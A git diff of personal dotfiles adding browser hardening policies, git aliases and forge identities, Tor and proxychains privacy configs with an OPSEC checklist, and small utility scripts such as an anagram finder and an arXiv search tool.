\ + --no-first-run \ + --no-default-browser-check \ + --block-new-web-contents \ + --site-per-process \ + --dns-over-https-mode=secure \ + --dns-over-https-templates="https://dns.quad9.net/dns-query" \ + --enforce-webrtc-ip-permission-check \ + --webrtc-ip-handling-policy=disable_non_proxied_udp \ + --enable-features=BlockInsecurePrivateNetworkRequests,EncryptedClientHello \ + --disk-cache-size=52428800 \ + "$@" diff --git a/.config/chromium/policies.json b/.config/chromium/policies.json new file mode 100644 index 0000000000000000000000000000000000000000..23e45bf172eaaaf0ea5302dac09acaba9d75d1e6 --- /dev/null +++ b/.config/chromium/policies.json @@ -0,0 +1,51 @@ +{ + "_comment": "Chromium managed policies. Place at /etc/chromium/policies/managed/hardened.json", + + "MetricsReportingEnabled": false, + "ChromeReportingEnabled": false, + "SafeBrowsingEnabled": false, + "SafeBrowsingExtendedReportingEnabled": false, + "SpellcheckEnabled": false, + "SpellCheckServiceEnabled": false, + "TranslateEnabled": false, + "SyncDisabled": true, + "SigninAllowed": false, + "BrowserSignin": 0, + "PasswordManagerEnabled": false, + "AutofillAddressEnabled": false, + "AutofillCreditCardEnabled": false, + + "SearchSuggestEnabled": false, + "AlternateErrorPagesEnabled": false, + "UrlKeyedAnonymizedDataCollectionEnabled": false, + "WebRtcEventLogCollectionAllowed": false, + + "DefaultCookiesSetting": 1, + "BlockThirdPartyCookies": true, + "DefaultGeolocationSetting": 2, + "DefaultNotificationsSetting": 2, + "DefaultPopupsSetting": 2, + "DefaultWebUsbGuardSetting": 2, + "DefaultSerialGuardSetting": 2, + + "DnsOverHttpsMode": "secure", + "DnsOverHttpsTemplates": "https://dns.quad9.net/dns-query", + "BuiltInDnsClientEnabled": true, + + "SSLVersionMin": "tls1.2", + "AudioCaptureAllowed": false, + "VideoCaptureAllowed": false, + + "BackgroundModeEnabled": false, + "HardwareAccelerationModeEnabled": false, + "NetworkPredictionOptions": 2, + + "BookmarkBarEnabled": false, + "ShowHomeButton": false, + "HomepageIsNewTabPage": true, + "RestoreOnStartup": 5, + "NewTabPageLocation": "about:blank", + + "BrowserNetworkTimeQueriesEnabled": false, + "DeviceMetricsReportingEnabled": false +} diff --git a/.config/fd/fd.conf b/.config/fd/fd.conf new file mode 100644 index 0000000000000000000000000000000000000000..f1b5eee5b24bb22fbe410d8fc7fd2bd307153c42 --- /dev/null +++ b/.config/fd/fd.conf @@ -0,0 +1,16 @@ +# fd ignore file -- 100x smart defaults +# Install: ln -sf ~/dev/100x/configs/fd.conf ~/.fdignore + +.git/ +node_modules/ +.venv/ +__pycache__/ +.cache/ +.DS_Store +*.min.js +*.min.css +*.map +target/ +dist/ +build/ +.next/ diff --git a/.config/firefox/extensions.json b/.config/firefox/extensions.json new file mode 100644 index 0000000000000000000000000000000000000000..f5d00fa8df43327eed6bc58d4f8a6ac02fd22402 --- /dev/null +++ b/.config/firefox/extensions.json @@ -0,0 +1,24 @@ +{ + "security": [ + {"name": "uBlock Origin", "id": "uBlock0@raymondhill.net", "description": "Ad/tracker/malware blocking with custom filter lists"}, + {"name": "NoScript", "id": "{73a6fe31-595d-460b-a920-fcc0f8843232}", "description": "JavaScript/plugin whitelist per-domain"}, + {"name": "Privacy Badger", "id": "jid1-MnnxcxisBPnSXQ@jetpack", "description": "Heuristic tracker blocking"}, + {"name": "ClearURLs", "id": "{74145f27-f039-47ce-a470-a662b129930a}", "description": "Strip tracking parameters from URLs"}, + {"name": "Cookie AutoDelete", "id": "CookieAutoDelete@kennydo.com", "description": "Auto-delete cookies when tab closes"}, + {"name": "HTTPS Everywhere", "id": "https-everywhere@eff.org", "description": "Force HTTPS connections (legacy, now mostly built-in)"}, + {"name": "Decentraleyes", "id": "jid1-BoFifL9Vbdl2zQ@jetpack", "description": "Local CDN emulation to prevent tracking"}, + {"name": "CanvasBlocker", "id": "CanvasBlocker@nickersoft", "description": "Block canvas fingerprinting with fake data"} + ], + "pentesting": [ + {"name": "FoxyProxy Standard", "id": "foxyproxy@eric.h.jung", "description": "Quick proxy switching (Burp, Tor, SOCKS)"}, + {"name": "Wappalyzer", "id": "wappalyzer@AY", "description": "Technology stack fingerprinting"}, + {"name": "HackBar", "id": "nickersoft-hackbar@nickersoft.co", "description": "SQL injection, XSS testing toolbar"}, + {"name": "Cookie Editor", "id": "cookie-editor@nickersoft", "description": "Edit, add, delete cookies"}, + {"name": "User-Agent Switcher", "id": "user-agent-switcher@nickersoft", "description": "Spoof User-Agent header"}, + {"name": "HTTP Header Live", "id": "httphdr@nickersoft", "description": "Live view of HTTP request/response headers"}, + {"name": "Retire.js", "id": "nickersoft-retirejs@nickersoft", "description": "Detect known-vulnerable JavaScript libraries"}, + {"name": "Built With", "id": "nickersoft-builtwith@nickersoft", "description": "Technology profiler"}, + {"name": "Shodan", "id": "nickersoft-shodan@nickersoft", "description": "Quick Shodan lookups for current site IP"}, + {"name": "Flagfox", "id": "{1018e4d6-728f-4b20-ad56-37578a4de76b}", "description": "Show server country flag, quick IP info"} + ] +} diff --git a/.config/git/build.yml b/.config/git/build.yml new file mode 100644 index 0000000000000000000000000000000000000000..300f5e055f3bcd7eb7e20874fb64c3b9fcda6a8a --- /dev/null +++ b/.config/git/build.yml @@ -0,0 +1,27 @@ +# Template sr.ht build manifest +# Copy and customize per project + +image: archlinux +# arch: x86_64 +packages: + - base-devel + - git +sources: + - https://git.sr.ht/~krisyotam/PROJECTNAME +# artifacts: +# - PROJECTNAME/build/output +# secrets: +# - uuid-of-secret +# oauth: pages.sr.ht/PAGES:RW +# shell: true +tasks: + - build: | + cd PROJECTNAME + make -j$(nproc) + - test: | + cd PROJECTNAME + make test +# triggers: +# - action: email +# condition: failure +# to: you@example.com diff --git a/.config/git/delta.gitconfig b/.config/git/delta.gitconfig new file mode 100644 index 0000000000000000000000000000000000000000..2fafb2564dd3f6a99e3f03ec2390356fbb87d99e --- /dev/null +++ b/.config/git/delta.gitconfig @@ -0,0 +1,25 @@ +# delta -- better git diff/log/show output +# Add to ~/.gitconfig: +# [include] +# path = ~/dev/100x/configs/delta.gitconfig + +[pager] + diff = delta + log = delta + reflog = delta + show = delta + +[interactive] + diffFilter = delta --color-only + +[delta] + navigate = true + dark = true + line-numbers = true + side-by-side = false + syntax-theme = Dracula + plus-style = syntax "#003800" + minus-style = syntax "#3f0001" + hunk-header-style = file line-number syntax + file-style = bold yellow ul + file-decoration-style = none diff --git a/.config/git/git-aliases.gitconfig b/.config/git/git-aliases.gitconfig new file mode 100644 index 0000000000000000000000000000000000000000..c973b8cc9e65789dff81bb63416dbd952afbd302 --- /dev/null +++ b/.config/git/git-aliases.gitconfig @@ -0,0 +1,70 @@ +# git aliases for .gitconfig +# Add to ~/.gitconfig: +# [include] +# path = ~/dev/100x/configs/git-aliases.gitconfig + +[alias] + st = status -sb + co = checkout + cb = checkout -b + sw = switch + swc = switch -c + ci = commit + ca = commit --amend --no-edit + cm = commit -m + d = diff + dc = diff --cached + dw = diff --word-diff + dn = diff --name-only + unstage = reset HEAD + undo = reset --soft HEAD~1 + fp = push --force-with-lease + wip = "!git add -A && git commit -m \"WIP: $(date +%H:%M)\"" + lg = log --graph --abbrev-commit --decorate --all --format=format:'%C(bold blue)%h%C(reset) - %C(bold green)(%ar)%C(reset) %C(white)%s%C(reset) %C(dim white)- %an%C(reset)%C(bold yellow)%d%C(reset)' + lol = log --graph --oneline --decorate --all + who = shortlog -sn --all + today = "!git log --since=midnight --author=\"$(git config user.name)\" --oneline" + week = "!git log --since='1 week ago' --author=\"$(git config user.name)\" --oneline --stat" + cleanup = "!git branch --merged main | grep -v 'main\\|master\\|\\*' | xargs -r git branch -d" + # Find branches containing commit + fb = "!f() { git branch -a --contains $1; }; f" + # Find commits by message + fm = "!f() { git log --all --oneline --grep=$1; }; f" + # Contributors (ranked) + contrib = shortlog -sn --all --no-merges + # Diff stat + ds = diff --stat + # Last commit + last = log -1 HEAD --stat + # Remote URL + url = config --get remote.origin.url + # Assume unchanged (for local config files) + assume = update-index --assume-unchanged + unassume = update-index --no-assume-unchanged + assumed = "!git ls-files -v | grep ^h | cut -c 3-" + # Stash all (including untracked) + stashall = stash --include-untracked + # Diff of last commit + dlc = diff HEAD~1..HEAD + +[rebase] + autoSquash = true + autoStash = true + +[rerere] + enabled = true + +[merge] + conflictstyle = zdiff3 + +[pull] + rebase = true + +[push] + default = current + autoSetupRemote = true + followTags = true + +[fetch] + prune = true + pruneTags = true diff --git a/.config/git/git-identities.gitconfig b/.config/git/git-identities.gitconfig new file mode 100644 index 0000000000000000000000000000000000000000..bab56d1ab79cdf884a0ef271669d8cf52aaff886 --- /dev/null +++ b/.config/git/git-identities.gitconfig @@ -0,0 +1,170 @@ +# git identity + forge configs +# Add to ~/.gitconfig: +# [include] +# path = ~/dev/100x/dev/configs/git-identities.gitconfig +# +# Per-directory identity switching: +# [includeIf "gitdir:~/dev/"] +# path = ~/dev/100x/dev/configs/git-identities.gitconfig +# [includeIf "gitdir:~/work/"] +# path = ~/dev/100x/dev/configs/git-identity-work.gitconfig + +# ============================================================ +# DEFAULT IDENTITY (personal) +# ============================================================ + +[user] + name = Kris Yotam + email = kris@krisyotam.com + signingkey = ~/.ssh/id_ed25519 + +[commit] + gpgsign = true + +[gpg] + format = ssh + +[gpg "ssh"] + allowedSignersFile = ~/.config/git/allowed_signers + +# ============================================================ +# FORGE: sourcehut (default) +# ============================================================ + +[url "git@git.sr.ht:~krisyotam/"] + insteadOf = srht: + +[url "https://git.sr.ht/~krisyotam/"] + insteadOf = srht-https: + +# git clone srht:repo-name +# git clone srht-https:repo-name (read-only) + +# ============================================================ +# FORGE: codeberg +# ============================================================ + +[url "git@codeberg.org:krisyotam/"] + insteadOf = cb: + +[url "https://codeberg.org/krisyotam/"] + insteadOf = cb-https: + +# git clone cb:repo-name +# git clone cb-https:repo-name (read-only) + +# ============================================================ +# FORGE: gitlab +# ============================================================ + +[url "git@gitlab.com:krisyotam/"] + insteadOf = gl: + +[url "https://gitlab.com/krisyotam/"] + insteadOf = gl-https: + +# git clone gl:repo-name + +# ============================================================ +# FORGE: github +# ============================================================ + +[url "git@github.com:krisyotam/"] + insteadOf = gh: + +[url "https://github.com/krisyotam/"] + insteadOf = gh-https: + +# git clone gh:repo-name + +# ============================================================ +# FORGE: cgit (self-hosted, STARGATE) +# ============================================================ +# cgit is a web frontend for git repos served over HTTP/SSH. +# Repos live at /srv/git/ on STARGATE, served by cgit + nginx. +# +# Setup needed: +# 1. mkdir -p /srv/git on STARGATE +# 2. Install cgit, configure /etc/cgitrc +# 3. nginx: proxy /cgit to cgit CGI or use fcgiwrap +# 4. SSH: add git user or use krisyotam user for push +# 5. Public URL: git.krisyotam.com or krisyotam.com/cgit + +[url "krisyotam@100.74.152.79:/srv/git/"] + insteadOf = cgit: + +[url "https://git.krisyotam.com/"] + insteadOf = cgit-https: + +# git clone cgit:repo-name (SSH, read-write via Tailscale) +# git clone cgit-https:repo-name (HTTPS, read-only public) + +# ============================================================ +# FORGE: git9 (Plan 9) +# ============================================================ +# git9 is the native Plan 9 git client. Repos are accessed +# via 9p or HTTP. This config is for pushing FROM Linux to a +# Plan 9 git server (e.g. on a 9front machine or vm). +# +# Setup needed: +# 1. git9 installed on Plan 9 side +# 2. Export repos via ip/httpd or 9p +# 3. On Linux, access via HTTP or 9pfuse mount +# +# 9p mount approach (Linux): +# 9pfuse 'tcp!plan9host!564' /mnt/9p +# git clone /mnt/9p/git/repo-name +# +# HTTP approach: + +[url "http://plan9.krisyotam.com/git/"] + insteadOf = g9: + +[url "http://100.74.152.79:8000/git/"] + insteadOf = g9-local: + +# git clone g9:repo-name (HTTP, public) +# git clone g9-local:repo-name (HTTP, Tailscale) + +# ============================================================ +# MULTI-REMOTE HELPERS +# ============================================================ +# Push to all forges at once. Add to a repo: +# +# git remote add all gh:repo-name +# git remote set-url --add --push all srht:repo-name +# git remote set-url --add --push all cb:repo-name +# git remote set-url --add --push all cgit:repo-name +# +# Then: git push all main + +# ============================================================ +# FORGE ALIASES +# ============================================================ + +[alias] + # Clone shortcuts + # git srht-clone repo-name + srht-clone = "!f() { git clone srht:$1; }; f" + cb-clone = "!f() { git clone cb:$1; }; f" + gl-clone = "!f() { git clone gl:$1; }; f" + gh-clone = "!f() { git clone gh:$1; }; f" + + # Show all remotes with URLs + remotes = remote -v + + # Add a forge as remote + # git add-forge srht repo-name + add-forge = "!f() { \ + case $1 in \ + srht) git remote add srht srht:$2 ;; \ + cb) git remote add codeberg cb:$2 ;; \ + gl) git remote add gitlab gl:$2 ;; \ + gh) git remote add github gh:$2 ;; \ + cgit) git remote add cgit cgit:$2 ;; \ + *) echo \"unknown forge: $1\" ;; \ + esac; \ + }; f" + + # Push to all configured remotes + push-all = "!git remote | xargs -I{} git push {} HEAD" diff --git a/.config/git/git-identity-work.gitconfig b/.config/git/git-identity-work.gitconfig new file mode 100644 index 0000000000000000000000000000000000000000..0cb072421d8666675407d95e9b242bbfa7d9b25d --- /dev/null +++ b/.config/git/git-identity-work.gitconfig @@ -0,0 +1,24 @@ +# git identity -- work account (demo) +# Use with includeIf to auto-switch when inside work directories: +# +# [includeIf "gitdir:~/work/"] +# path = ~/dev/100x/dev/configs/git-identity-work.gitconfig +# +# Any repo cloned under ~/work/ will automatically use this identity. + +[user] + name = Kris Yotam + email = kris@example-corp.com + signingkey = ~/.ssh/id_ed25519_work + +[commit] + gpgsign = true + +[gpg] + format = ssh + +# Work forge (e.g. company GitLab/GitHub Enterprise) +[url "git@github.com:example-corp/"] + insteadOf = work: + +# git clone work:internal-tool diff --git a/.config/git/git-sendemail.gitconfig b/.config/git/git-sendemail.gitconfig new file mode 100644 index 0000000000000000000000000000000000000000..4297acae686e9337f4ade99c3f4e32190db08bc6 --- /dev/null +++ b/.config/git/git-sendemail.gitconfig @@ -0,0 +1,24 @@ +# git send-email config for sr.ht patch workflow +# Add to ~/.gitconfig: +# [include] +# path = ~/dev/100x/configs/git-sendemail.gitconfig + +[sendemail] + # Route through msmtp (configure msmtp separately) + smtpServer = /usr/bin/msmtp + # Or direct SMTP: + # smtpserver = smtp.gmail.com + # smtpuser = you@gmail.com + # smtpencryption = ssl + # smtpserverport = 465 + annotate = yes + confirm = always + chainReplyTo = false + thread = true + suppresscc = self + +[format] + subjectPrefix = PATCH + signOff = false + coverLetter = auto + thread = shallow diff --git a/.config/git/gitconfig-prose b/.config/git/gitconfig-prose new file mode 100644 index 0000000000000000000000000000000000000000..da8e08c40e3e701824910e50590f6ea050bc7bd4 --- /dev/null +++ b/.config/git/gitconfig-prose @@ -0,0 +1,9 @@ +[alias] + wdiff = diff --word-diff=color + wlog = log --oneline --all --graph + last = diff HEAD~1 --word-diff=color + snap = "!git commit -am \"snapshot $(date +%Y-%m-%d_%H:%M)\"" + drafts = branch --list 'draft-*' + +[diff "markdown"] + wordRegex = [a-zA-Z0-9]+|[^[:space:]] diff --git a/.config/mksh/aliases.sh b/.config/mksh/aliases.sh deleted file mode 100644 index 90c5a18dcff32e9351cd631d97271f7906d83b80..0000000000000000000000000000000000000000 --- a/.config/mksh/aliases.sh +++ /dev/null @@ -1,2 +0,0 @@ -# mksh aliases -alias cc="$HOME/src/criterion-cli/criterion" diff --git a/.config/mksh/functions.sh b/.config/mksh/functions.sh deleted file mode 100644 index c43b5d7a6da9630785221d2fc33630e3b97daabb..0000000000000000000000000000000000000000 --- a/.config/mksh/functions.sh +++ /dev/null @@ -1,30 +0,0 @@ -# mksh functions - -# search repo names in ~/src/ -fs() { - [ -z "$1" ] && { echo "usage: fs <pattern>"; return 1; } - pattern=$(echo "$*" | tr '[:upper:]' '[:lower:]') - matches="" - count=0 - for d in "$HOME"/src/*/; do - name=${d%/} - name=${name##*/} - lower=$(echo "$name" | tr '[:upper:]' '[:lower:]') - case "$lower" in - *"$pattern"*) matches="$matches$name -"; count=$((count + 1)) ;; - esac - done - if [ "$count" -eq 0 ]; then - printf '\n \033[2mno matches for\033[0m \033[1m%s\033[0m\n\n' "$*" - return 1 - fi - printf '\n \033[2m%d match(es) for\033[0m \033[1m%s\033[0m\n\n' "$count" "$*" - echo "$matches" | while IFS= read -r m; do - [ -n "$m" ] && printf ' \033[36m>\033[0m %s\n' "$m" - done - printf '\n' -} - -lp() { cd "$HOME/edu/craft/learn"; } -fcc() { cd "$HOME/edu/craft/freecodecamp"; } diff --git a/.config/picom.conf b/.config/picom.conf index efabb6e79a4cf819980be83b52a8bae422c98901..dea0dd188917679d17e66f0976081531b79aa273 100644 --- a/.config/picom.conf +++ b/.config/picom.conf @@ -13,7 +13,7 @@ fading = false; # Fixes vsync = true; -unredir-if-possible = true; +unredir-if-possible = false; # Window rules (modern syntax) rules = ( diff --git a/.config/ripgrep/ripgrep.conf b/.config/ripgrep/ripgrep.conf new file mode 100644 index 0000000000000000000000000000000000000000..708e3273e7a174e329e1ec5892804cd0d05c479a --- /dev/null +++ b/.config/ripgrep/ripgrep.conf @@ -0,0 +1,32 @@ +# ripgrep config -- 100x smart defaults +# Install: export RIPGREP_CONFIG_PATH=~/dev/100x/configs/ripgrep.conf + +# Smart case by default +--smart-case + +# Follow symlinks +--follow + +# Hidden files +--hidden + +# Respect .gitignore +--no-require-git + +# Glob exclusions +--glob=!.git/ +--glob=!node_modules/ +--glob=!.venv/ +--glob=!__pycache__/ +--glob=!*.min.js +--glob=!*.min.css +--glob=!*.map +--glob=!package-lock.json +--glob=!yarn.lock +--glob=!pnpm-lock.yaml +--glob=!go.sum +--glob=!.DS_Store + +# Max columns for readable output +--max-columns=200 +--max-columns-preview diff --git a/.config/tor/opsec-checklist.md b/.config/tor/opsec-checklist.md new file mode 100644 index 0000000000000000000000000000000000000000..97a3a788cde9051812de48be009dbed6920ca6f2 --- /dev/null +++ b/.config/tor/opsec-checklist.md @@ -0,0 +1,40 @@ +# Tor OPSEC Checklist + +## Common Deanonymization Mistakes + +1. **Browser fingerprinting** -- Resize Tor Browser window (breaks standard viewport) +2. **Logging into personal accounts** over Tor (links identity to circuit) +3. **Downloading and opening files** outside Tor Browser (may phone home) +4. **Running Tor alongside clearnet** on same machine without isolation +5. **Timezone/locale leaks** -- System timezone differs from Tor exit +6. **DNS leaks** -- Not routing DNS through Tor (use proxy_dns in proxychains) +7. **WebRTC leaks** -- Exposes real IP even through proxy +8. **JavaScript execution** -- Can fingerprint, leak IP, run exploits +9. **Using personal writing style** -- Stylometry can identify authors +10. **Same username/email** across services (obvious) +11. **Uploading photos with EXIF data** intact +12. **Not checking for Tor circuit** before assuming anonymity + +## Pre-Session Checklist + +- [ ] Tor service running: `systemctl status tor` +- [ ] Check Tor IP: `proxychains4 curl -s ifconfig.me` +- [ ] Verify DNS resolution through Tor: `proxychains4 dig +short example.com` +- [ ] Check for DNS leaks: visit dnsleaktest.com through Tor Browser +- [ ] WebRTC disabled in browser +- [ ] JavaScript disabled (or NoScript active) +- [ ] No personal accounts logged in +- [ ] Timezone set to UTC if using CLI tools +- [ ] MAC address randomized if on WiFi + +## Network Isolation (Advanced) + +For maximum isolation, use separate network namespaces: +```sh +# Create isolated namespace +ip netns add torns +# Route all traffic through Tor in that namespace +# Use transparent proxy or iptables rules +``` + +Or use Whonix/Tails for full OS-level isolation. diff --git a/.config/tor/proxychains.conf b/.config/tor/proxychains.conf new file mode 100644 index 0000000000000000000000000000000000000000..3fb0258835eea2cb46d8422c88f757a91867019d --- /dev/null +++ b/.config/tor/proxychains.conf @@ -0,0 +1,54 @@ +# ============================================================================ +# proxychains4.conf -- Hardened Configuration for Pentesting +# Place at: /etc/proxychains.conf or ~/.proxychains/proxychains.conf +# ============================================================================ + +# --- CHAIN TYPE --- +# strict_chain: all proxies in order, fail if any is down +# dynamic_chain: skip dead proxies, at least one must work +# random_chain: random order each connection +# round_robin_chain: round-robin through proxy list + +dynamic_chain +# strict_chain +# random_chain +# round_robin_chain + +# --- CHAIN LENGTH (for random_chain only) --- +# chain_len = 2 + +# --- DNS --- +proxy_dns # resolve DNS through proxy chain +# proxy_dns_daemon 5353 # use Tor DNS port + +# --- TIMEOUTS --- +tcp_read_time_out 15000 # 15s read timeout +tcp_connect_time_out 8000 # 8s connect timeout + +# --- LOGGING --- +# quiet_mode # no output (uncomment for cron/scripts) + +# --- PROXY LIST --- +# format: type host port [user pass] + +[ProxyList] + +# Tor SOCKS5 (default) +socks5 127.0.0.1 9050 + +# Tor isolated ports for specific tools +# socks5 127.0.0.1 9060 # nmap-dedicated circuit +# socks5 127.0.0.1 9070 # curl-dedicated circuit + +# Burp Suite HTTP proxy +# http 127.0.0.1 8080 + +# Additional SOCKS proxies (chain through multiple) +# socks5 <proxy2-ip> <port> +# socks5 <proxy3-ip> <port> + +# === MULTI-HOP EXAMPLE === +# Uncomment strict_chain above and add multiple proxies: +# socks5 127.0.0.1 9050 # hop 1: local Tor +# socks5 <vps-ip> 1080 # hop 2: VPS SOCKS proxy +# socks5 <exit-ip> 1080 # hop 3: exit proxy diff --git a/.config/tor/torrc b/.config/tor/torrc new file mode 100644 index 0000000000000000000000000000000000000000..018e03de08fb1b049839794782063a384646812e --- /dev/null +++ b/.config/tor/torrc @@ -0,0 +1,76 @@ +## ============================================================================ +## Hardened torrc -- Pentesting + Privacy Configuration +## Place at: /etc/tor/torrc or ~/.torrc +## ============================================================================ + +## --- SOCKS PROXY --- +SocksPort 9050 # default SOCKS5 port +SocksPort 9150 # Tor Browser port + +## Isolate circuits per destination (prevents correlation) +SocksPort 9050 IsolateDestAddr IsolateDestPort + +## Additional isolated ports for specific tools +SocksPort 9060 IsolateDestAddr IsolateDestPort # nmap +SocksPort 9070 IsolateDestAddr IsolateDestPort # curl +SocksPort 9080 IsolateDestAddr IsolateDestPort # browser + +## --- DNS --- +DNSPort 5353 # local DNS resolution through Tor +AutomapHostsOnResolve 1 # auto-map .onion addresses +AutomapHostsSuffixes .onion,.exit # suffixes to map + +## --- CIRCUIT BEHAVIOR --- +CircuitBuildTimeout 30 # timeout for circuit build (seconds) +LearnCircuitBuildTimeout 0 # dont learn timeout (use fixed) +MaxCircuitDirtiness 600 # new circuit every 10 minutes +NewCircuitPeriod 30 # try new circuit every 30s if needed +NumEntryGuards 3 # number of entry guards + +## --- NODE SELECTION --- +## Exclude nodes in Five Eyes countries (comment out if not needed) +# ExcludeNodes {us},{gb},{ca},{au},{nz},{dk},{fr},{nl},{no},{de},{be},{it},{se},{es} +# ExcludeExitNodes {us},{gb},{ca},{au},{nz} +# StrictNodes 1 # enforce exclusions strictly + +## Prefer exit nodes in privacy-friendly countries +# ExitNodes {ch},{is},{ro},{md},{bg},{cz},{lu} + +## --- BRIDGES (for censored networks) --- +## Uncomment and add bridge lines if Tor is blocked +# UseBridges 1 +# ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy +# Bridge obfs4 <IP>:<PORT> <FINGERPRINT> cert=<CERT> iat-mode=0 +# ClientTransportPlugin meek_lite exec /usr/bin/obfs4proxy +# Bridge meek_lite 0.0.2.0:2 url=https://meek.azureedge.net/ front=ajax.aspnetcdn.com +# ClientTransportPlugin snowflake exec /usr/bin/snowflake-client -url https://snowflake-broker.torproject.net.global.prod.fastly.net/ -front cdn.sstatic.net + +## --- LOGGING --- +Log notice file /var/log/tor/notices.log # log to file +# Log notice stdout # or log to stdout + +## --- HIDDEN SERVICES (client) --- +## For accessing .onion services +HiddenServiceStatistics 0 # dont report HS stats + +## --- SECURITY HARDENING --- +SafeSocks 1 # reject unsafe SOCKS requests +TestSocks 1 # log SOCKS connection test results +WarnPlaintextPorts 23,109,110,143 # warn on plaintext protocol ports +RejectPlaintextPorts 23,109,110,143 # reject plaintext connections +AvoidDiskWrites 1 # minimize disk writes +DisableDebuggerAttachment 1 # prevent debugger attachment +Sandbox 1 # enable seccomp sandbox (Linux only) +ProtocolWarnings 1 # log anomalous protocol violations +RejectPlaintextSocksRequests 1 # force SOCKS5, reject SOCKS4/4a (leaks hostnames) + +## --- BANDWIDTH --- +# RelayBandwidthRate 100 KBytes # if running as relay +# RelayBandwidthBurst 200 KBytes +# AccountingMax 10 GBytes # monthly cap +# AccountingStart month 1 00:00 + +## --- CONTROL PORT (for stem/nyx monitoring) --- +# ControlPort 9051 +# HashedControlPassword <generate with: tor --hash-password yourpassword> +# CookieAuthentication 1 diff --git a/.local/bin/anagram b/.local/bin/anagram new file mode 100755 index 0000000000000000000000000000000000000000..4745361f85d3245ac6e6cc02f7b2d3dd65c275a1 --- /dev/null +++ b/.local/bin/anagram @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 +"""anagram -- find anagrams from /usr/share/dict/words""" +import sys +from collections import Counter + +word = sys.argv[1].lower() if len(sys.argv) > 1 else input("word: ").lower() +target = Counter(word) + +with open("/usr/share/dict/words") as f: + for line in f: + candidate = line.strip().lower() + if candidate != word and Counter(candidate) == target: + print(candidate) diff --git a/.local/bin/arxiv-search b/.local/bin/arxiv-search new file mode 100755 index 0000000000000000000000000000000000000000..0647d290fd91c202bdd7c4eb966939d8983aa563 --- /dev/null +++ b/.local/bin/arxiv-search @@ -0,0 +1,24 @@ +#!/usr/bin/env python3 +"""arxiv-search -- search arXiv from the terminal +Usage: arxiv-search <query terms> +""" +import arxiv, sys + +if len(sys.argv) < 2: + print("Usage: arxiv-search <query>", file=sys.stderr) + sys.exit(1) + +client = arxiv.Client() +search = arxiv.Search( + query=" ".join(sys.argv[1:]), + max_results=15, + sort_by=arxiv.SortCriterion.Relevance +) +for r in client.results(search): + aid = r.entry_id.split("/")[-1] + authors = ", ".join(a.name for a in r.authors[:3]) + if len(r.authors) > 3: + authors += " et al." + print(f"{aid:20} {r.title}") + print(f"{'':20} {authors} ({r.published.year})") + print() diff --git a/.local/bin/backup-ms b/.local/bin/backup-ms new file mode 100755 index 0000000000000000000000000000000000000000..7e1caaeb39ffda0f2748529372cb7ab0190ac4fd --- /dev/null +++ b/.local/bin/backup-ms @@ -0,0 +1,34 @@ +#!/usr/bin/env bash +# backup-ms -- git snapshot of manuscript with dated tag +set -euo pipefail + +dir="${1:-.}" +msg="${2:-snapshot}" + +cd "$dir" + +if ! git rev-parse --is-inside-work-tree &>/dev/null; then + echo "Not a git repository. Initializing..." + git init + git add -A + git commit -m "Initial manuscript commit" +fi + +# Stage everything +git add -A + +# Check for changes +if git diff --cached --quiet 2>/dev/null; then + echo "No changes to snapshot." + exit 0 +fi + +tag="ms-$(date +%Y%m%d-%H%M)" +words=$(find . -name '*.md' -o -name '*.mdx' -o -name '*.txt' 2>/dev/null | xargs cat 2>/dev/null | wc -w) + +git commit -m "$msg ($words words)" +git tag "$tag" + +echo "Snapshot: $tag" +echo "Words: $words" +echo "Commit: $(git log -1 --format='%h %s')" diff --git a/.local/bin/benchit b/.local/bin/benchit new file mode 100755 index 0000000000000000000000000000000000000000..05487a1e90f3ce6cb0d5e5cbb63f7f066892179c --- /dev/null +++ b/.local/bin/benchit @@ -0,0 +1,17 @@ +#!/bin/sh +# benchit -- quick benchmark wrapper around hyperfine +# Usage: benchit <command> +# benchit -n 100 <command> +# benchit -c <cmd1> <cmd2> (compare two commands) + +if [ "$1" = "-c" ]; then + shift + cmd1="$1"; cmd2="$2" + [ -z "$cmd2" ] && { echo "Usage: benchit -c <cmd1> <cmd2>"; exit 1; } + hyperfine --warmup 3 "$cmd1" "$cmd2" +elif [ "$1" = "-n" ]; then + shift; n="$1"; shift + hyperfine --runs "$n" "$*" +else + hyperfine --warmup 3 "$*" +fi diff --git a/.local/bin/blog-ai-review b/.local/bin/blog-ai-review new file mode 100755 index 0000000000000000000000000000000000000000..ddb2432beb7c04f2df1dde03b5d1a6ac82b5a1e3 --- /dev/null +++ b/.local/bin/blog-ai-review @@ -0,0 +1,22 @@ +#!/usr/bin/env sh +set -eu + +prompt='You are a severe but fair editor. Review this blog draft. Return: unclear thesis, unsupported claims, missing citations, structure problems, title ideas, and concrete edits. Do not rewrite the whole piece.' + +if [ "$#" -eq 0 ]; then + input=$(cat) +else + input=$(cat "$@") +fi + +if command -v llm >/dev/null 2>&1; then + printf '%s\n' "$input" | llm -s "$prompt" +elif command -v aichat >/dev/null 2>&1; then + printf '%s\n' "$input" | aichat "$prompt" +elif command -v mods >/dev/null 2>&1; then + printf '%s\n' "$input" | mods "$prompt" +else + printf 'No llm, aichat, or mods command found. Draft word count:\n' >&2 + printf '%s\n' "$input" | wc -w + exit 1 +fi diff --git a/.local/bin/blog-archive-url b/.local/bin/blog-archive-url new file mode 100755 index 0000000000000000000000000000000000000000..4566aeaf8ce574c971cf4c2029b069cc8c5d180b --- /dev/null +++ b/.local/bin/blog-archive-url @@ -0,0 +1,31 @@ +#!/usr/bin/env sh +set -eu + +if [ "$#" -ne 1 ]; then + printf 'usage: blog-archive-url URL\n' >&2 + exit 2 +fi + +url=$1 +domain=$(printf '%s' "$url" | awk -F[/:] '{print $4}') +hash=$(printf '%s' "$url" | sha1sum | awk '{print $1}') +root=${BLOG_ARCHIVE_DIR:-archives/www} +dir="$root/$domain" +mkdir -p "$dir" + +if command -v single-file >/dev/null 2>&1; then + out="$dir/$hash.html" + single-file "$url" "$out" +elif command -v monolith >/dev/null 2>&1; then + out="$dir/$hash.html" + monolith "$url" -o "$out" +elif command -v wget >/dev/null 2>&1; then + out="$dir/$hash" + mkdir -p "$out" + wget --page-requisites --convert-links --adjust-extension --no-host-directories --directory-prefix="$out" "$url" +else + out="$dir/$hash.html" + curl -Lfs "$url" -o "$out" +fi + +printf '%s\n' "$out" diff --git a/.local/bin/blog-backlinks b/.local/bin/blog-backlinks new file mode 100755 index 0000000000000000000000000000000000000000..8b6f3a90037fafd3554f6a836f0f53187bc415c8 --- /dev/null +++ b/.local/bin/blog-backlinks @@ -0,0 +1,16 @@ +#!/usr/bin/env sh +set -eu + 